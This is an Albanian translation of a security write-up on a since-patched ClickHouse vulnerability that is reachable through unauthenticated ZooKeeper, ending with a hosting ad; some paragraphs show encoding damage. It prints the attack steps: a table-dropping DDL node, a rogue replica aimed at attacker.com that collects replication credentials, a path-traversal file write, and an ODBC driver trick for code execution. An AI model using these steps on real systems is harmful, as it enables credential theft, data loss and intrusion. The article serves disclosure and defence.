Pse duhet të mbahen kafazet në kopshtin zoologjik të mbyllura

Pse duhet të mbahen kafazet në kopshtin zoologjik të mbyllura

Në këtë artikull do të flitet për një vulnerabilitet mjaft karakteristik në protokollin e replikimit në ClickHouse, dhe do të tregohet se si mund të zgjerohet sipërfaqja e sulmit.

ClickHouse është një bazë të dhënash për ruajtjen e sasisë së mëdha të të dhënave, që zakonisht përdoret nga më shumë se një replikë. Klasterizimi dhe replikimi në ClickHouse ndërtohen mbi Apache ZooKeeper (ZK) dhe kërkojnë të drejta shkruese.

Instalimi i ZK nga thelbi nuk kërkon autentifikim, kështu që mijëra serverë ZK që përdoren për konfigurimin e Kafka, Hadoop, ClickHouse janë në dispozicion publikisht.

Për të reduktuar sipërfaqen e sulmit, ju gjithmonë duhet të konfiguroni autentifikimin dhe autorizimin gjatë instalimit të ZooKeeper.

Sigurisht që ka disa 0day bazuar në deserializimin e Java-s, por imagjinoni se një sulmues mund të lexojë dhe të shkruajë në ZooKeeper, i cili përdoret për replikimin e ClickHouse.

Kur konfiguroni në modalitetin e klasterit, ClickHouse mbështet kërkesat e shpërndara DDL, që kalojnë përmes ZK - për to krijohen nodet në fletë /clickhouse/task_queue/ddl.

Për shembull, krijoni një nod /clickhouse/task_queue/ddl/query-0001 me përmbajtje:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

dhe pas kësaj, në serverët e klasterit host1 dhe host2, tabela test do të fshihet. DDL gjithashtu mbështet ekzekutimin e kërkesave CREATE/ALTER/DROP.

Dëgjon keq? Por ku mund ta gjejë sulmuesi adresat e serverëve?

Replikimi i ClickHouse punon nĂ« nivelin e tabelave tĂ« veçanta, kĂ«shtu qĂ« kur krijoni njĂ« tabelĂ« nĂ« ZK, caktohet serveri qĂ« do tĂ« jetĂ« pĂ«rgjegjĂ«s pĂ«r shkĂ«mbimin e metadaten me replikat. PĂ«r shembull, gjatĂ« ekzekutimit tĂ« njĂ« kĂ«rkese (ZK duhet tĂ« jetĂ« i konfiguruar, chXX — emri i replikĂ«s, foobar — emri i tabelĂ«s):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

do të krijohen nodet columns dhe metadata.

Përmbajtja /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

A mund të ekzekutohen të dhëna nga ky klaster? Po, nëse porta e replikimit (TCP/9009) në serverin chXX-address nuk është e mbyllur nga firewall dhe nuk është konfiguruar autentifikimi për replikim. Si ta kalosh autentifikimin?

Sulmuesi mund të krijojë një replikë të re në ZK, duke kopjuar thjesht përmbajtjen nga /clickhouse/tables/01-01/foobar/replicas/chXX dhe duke ndryshuar vlerën host.

PĂ«rmbajtja /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Pastaj duhet të informoni replikat e tjera se në serverin e sulmuesit ka një bllok të ri të dhënash, të cilin ato duhet ta marrin - krijohet një nod në ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX numri monoton rritës, i cili duhet të jetë më i madh se ai i fundit në ditarin e ngjarjeve):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

ku source_replica — emri i replikĂ«s sĂ« sulmuesit, e krijuar nĂ« hapin e mĂ«parshĂ«m, block_id — identifikuesi i bllokut tĂ« tĂ« dhĂ«nave, merr — komanda "get block" (dhe kĂ«tu janĂ« komandat pĂ«r operacione tĂ« tjera).

Më pas, çdo replikë lexon ngjarjen e re në regjistër dhe shkon në serverin e kontrolluar nga sulmuesi për të marrë bllokun e të dhënave (protokolli i replikimit është binar, punon mbi HTTP). Serveri attacker.com do të merr kërkesat:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

ku XXX është të dhënat e autentifikimit për replikim. Në disa raste, kjo mund të jetë një llogari me qasje në bazën e të dhënave përmes protokollit kryesor të ClickHouse dhe protokollit HTTP. Siç e keni parë, sipërfaqja e sulmit bëhet kritikisht e madhe, sepse ZooKeeper, i përdorur për replikim, ka mbetur pa autentifikim të konfiguruar.

Le të shohim funksionin e marrjes së bllokut të të dhënave nga një replikë, ai është shkruar me plot besim se të gjitha replikat janë nën kontrollin e duhur dhe mes tyre ekziston besim.

Pse duhet të mbahen kafazet në kopshtin zoologjik të mbyllura
kode për përpunimin e replikimit

Funksioni lexon listën e skedarëve, pastaj emrat e tyre, madhësitë, përmbajtjen, dhe më pas i shkruan ato në sistemin e skedarëve. Duhet përmendur veçmas se si ruhen të dhënat në sistemin e skedarëve.

Ka disa nën-katalogje në /var/lib/clickhouse (katalogu i ruajtjes sipas defoltit nga skedari i konfigurimit):

flamuj — katalogu pĂ«r regjistrimin flagave, tĂ« pĂ«rdorura gjatĂ« rikuperimit pas humbjes sĂ« tĂ« dhĂ«nave;
tmp — katalogu pĂ«r ruajtjen e skedarĂ«ve temporarĂ«;
user_files — operacionet me skedarĂ« nĂ« kĂ«rkesa janĂ« tĂ« kufizuara nĂ« kĂ«tĂ« katalog (INTO OUTFILE dhe tĂ« tjera);
metadata — skedarĂ«t sql me pĂ«rshkrimet e tabelave;
preprocessed_configs — skedarĂ«t e prodhuar tĂ« konfigurimeve tĂ« pĂ«rpunuara nga /etc/clickhouse-server;
data — nĂ« fakt katalogu me tĂ« dhĂ«nat vetĂ«, nĂ« kĂ«tĂ« rast pĂ«r çdo bazĂ« thjesht krijohet njĂ« nĂ«n-katalog i veçantĂ« kĂ«tu (pĂ«r shembull /var/lib/clickhouse/data/default).

PĂ«r çdo tabelĂ« krijohet njĂ« nĂ«n-katalog nĂ« katalogun e bazĂ«s sĂ« tĂ« dhĂ«nave. Çdo kolonĂ« Ă«shtĂ« njĂ« skedar i veçantĂ« nĂ« pĂ«rputhje me formatin e motorit. PĂ«r shembull, pĂ«r tabelĂ«n foobar, e krijuar nga sulmuesi, do tĂ« krijohen skedarĂ«t e mĂ«poshtĂ«m:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Replika pret të marrë skedarët me emra të tillë gjatë përpunimit të bllokut të të dhënave dhe nuk i kontrollon ata në asnjë mënyrë.

Lexuesi i vëmendshëm me siguri ka dëgjuar për concatenation-in e pasigurt të file_name në funksionin WriteBufferFromFile. Po, kjo i lejon sulmuesit të shkruajë përmbajtje të rastësishme në çdo skedar në sistemin e skedarëve me të drejtat e përdoruesit clickhouse. Për këtë, replikimi nën kontrollin e sulmuesit duhet të japë përgjigjen e mëposhtme në kërkesë (për thjeshtësi, janë shtuar kthimi i rreshtave):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

dhe pas concatenation-it ../../../../../../../../../tmp/pwned do të shkruhet skedari /tmp/pwned me përmbajtjen hellofromzookeeper.

Ka disa mundësi për ta shndërruar mundësinë e shkrimit të skedarëve në ekzekutimin e kodit në distancë (RCE).

Dictionaries të jashtme në RCE

NĂ« versionet e vjetra, katalogu i konfigurimeve tĂ« ClickHouse Ă«shtĂ« ruajtur me tĂ« drejtat e pĂ«rdoruesit clickhouse nĂ«n default. SkedarĂ«t e konfigurimit janĂ« skedarĂ« XML, tĂ« cilĂ«t shĂ«rbimi i lexon gjatĂ« nisjes dhe mĂ« pas i ruan nĂ« /var/lib/clickhouse/preprocessed_configs. Kur ka ndryshime, ata lexohen pĂ«rsĂ«ri. NĂ«se sulmuesi ka akses nĂ« /etc/clickhouse-server ai/saj mund tĂ« krijojĂ« njĂ« dictionary tĂ« jashtĂ«m tĂ« tipit executable dhe pastaj tĂ« ekzekutojĂ« kod tĂ« rastĂ«sishĂ«m. Versionet aktuale tĂ« ClickHouse nuk i japin tĂ« drejtat nĂ«n default, por nĂ«se serveri Ă«shtĂ« pĂ«rditĂ«suar gradualisht – ato tĂ« drejta mund tĂ« kenĂ« mbetur. NĂ«se po mbani njĂ« grumbull ClickHouse, kontrolloni tĂ« drejtat nĂ« katalogun e konfigurimeve, ai duhet t'i pĂ«rkasĂ« pĂ«rdoruesit root.

ODBC në RCE

Kur instalohet paketa, krijohet një përdorues clickhouse, por nuk krijohet katalogu i tij të shtëpisë /nonexistent. Megjithatë, gjatë përdorimit të dictionaries të jashtme, ose për arsye të tjera, administratorët krijojnë një katalog /nonexistent dhe iu japin përdoruesit clickhouse akses për të shkruar në të (SHTZB! shënim i përkthyesit).

ClickHouse mbështet ODBC dhe mund të lidhet me baza të tjera të dhënash. Në ODBC mund të specifikoni rrugën për bibliotekën me driver-in e bazës së të dhënave (.so). Versionet e vjetra të ClickHouse lejonin të ekzekutohej direkt në trajtuesin e kërkesave, por tani është shtuar një kontroll më i rreptë i string-ut të lidhjes në odbc-bridge, kështu që tani nuk është e mundur të specifikohet rruga për driver-in nga kërkesa. Por sulmuesi mund të shkruajë në katalogun e shtëpisë duke përdorur atë dobësi që u përmend më sipër?

Le të krijojmë një skedar ~/.odbc.ini me këtë përmbajtje:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

pastaj gjatë ekzekutimit SELECT * FROM odbc('DSN=lalala', 'test', 'test'); biblioteka test.so do të ngarkohet dhe do të ketë RCE (faleminderit buglloc për sugjerimin).

Këto dhe dobësi të tjera janë rregulluar në versionin ClickHouse 19.14.3. Ruani ClickHouse dhe ZooKeepers tuaj!

Burimi: habr.com

Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Bleni hostim tĂ« besueshĂ«m pĂ«r faqe me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster